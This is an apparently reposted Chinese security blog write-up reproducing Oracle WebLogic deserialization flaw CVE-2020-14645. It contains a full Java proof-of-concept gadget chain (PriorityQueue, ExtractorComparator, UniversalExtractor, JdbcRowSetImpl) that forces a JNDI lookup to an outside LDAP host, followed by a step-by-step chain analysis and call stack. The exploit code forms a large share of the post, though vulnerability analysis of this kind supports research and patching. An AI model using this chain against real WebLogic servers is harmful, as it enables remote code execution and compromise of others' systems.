Weblogic CVE-2020-14645漏洞复现分析

admin 2024年3月22日08:15:02评论10 views字数 3922阅读13分4秒阅读模式
01 影响范围

Oracle WebLogic Server :12.2.1.4.0

02 漏洞复现

POC:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;

public class cve_2020_14645 {

   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = getField(obj.getClass(), fieldName);
       field.set(obj, value);
   }

   public static Field getField(Class<?> clazz, String fieldName) {
       Field field = null;

       try {
           field = clazz.getDeclaredField(fieldName);
           field.setAccessible(true);
       } catch (NoSuchFieldException var4) {
           if (clazz.getSuperclass() != null) {
               field = getField(clazz.getSuperclass(), fieldName);
           }
       }
       return field;
   }
   public static void main(String[] args) throws Exception {

       JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
       jdbcRowSet.setDataSourceName("ldap://lqvfihdamd.dgrh3.cn");

       UniversalExtractor universalExtractor = new UniversalExtractor();
       setFieldValue(universalExtractor,"m_sName","databaseMetaData");
       setFieldValue(universalExtractor,"m_aoParam",new Object[]{});

       ExtractorComparator extractorComparator = new ExtractorComparator(universalExtractor);

       PriorityQueue priorityQueue = new PriorityQueue(extractorComparator);


       setFieldValue(priorityQueue,"queue",new Object[]{jdbcRowSet,"123"});
       setFieldValue(priorityQueue,"size",2);

       ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("oracle/cve-2020_14645.ser"));
       oos.writeObject(priorityQueue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new FileInputStream("oracle/cve-2020_14645.ser"));
       ois.readObject();

   }
}
本地序列化与反序列化,dnslog收到请求

Weblogic CVE-2020-14645漏洞复现分析

03 利用链分析

利用链:

PriorityQueue.readObject()    
   PriorityQueue.heapify()
       PriorityQueue.siftDown()
           PriorityQueue.siftDownUsingComparator()
               ExtractorComparator.compare()
                   UniversalExtractor.extract()
                       UniversalExtractor.extractComplex()
                           Mehotd.invoke()
                              JdbcRowSetImpl.getDatabaseMetaData()

sink:(method.invoke())

com.tangosol.util.extractor.UniversalExtractor#extractComplex()存在反射调用,能够m_sName属性值去获取对应的get方法与is方法,例如m_sName为databaseMetaData,那么就会尝试获取对应的getDatabaseMetaData的method并反射调用,参数值也可控,为m_aoParam

Weblogic CVE-2020-14645漏洞复现分析

com.tangosol.util.extractor.UniversalExtractor#extractComplex()可被自己的extract()方法调用

Weblogic CVE-2020-14645漏洞复现分析

source:

到了com.tangosol.util.extractor.UniversalExtractor#extract()就很常见了,com.tangosol.util.comparator.ExtractorComparator.compare() ==> com.tangosol.util.extractor.UniversalExtractor#extract()

其实source都是cve-2020-2883的前半部分

Weblogic CVE-2020-14645漏洞复现分析

最后由PriorityQueue反序列化触发ExtractorComparator.compare()

Weblogic CVE-2020-14645漏洞复现分析

至此,完整的利用链已经完成。

04 调用栈
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:63, cve_2020_14645 (cve2020.cve_2020_14645)

原文始发于微信公众号(路旅安全):Weblogic CVE-2020-14645漏洞复现分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日08:15:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic CVE-2020-14645漏洞复现分析http://cn-sec.com/archives/2594145.html

发表评论

匿名网友 填写信息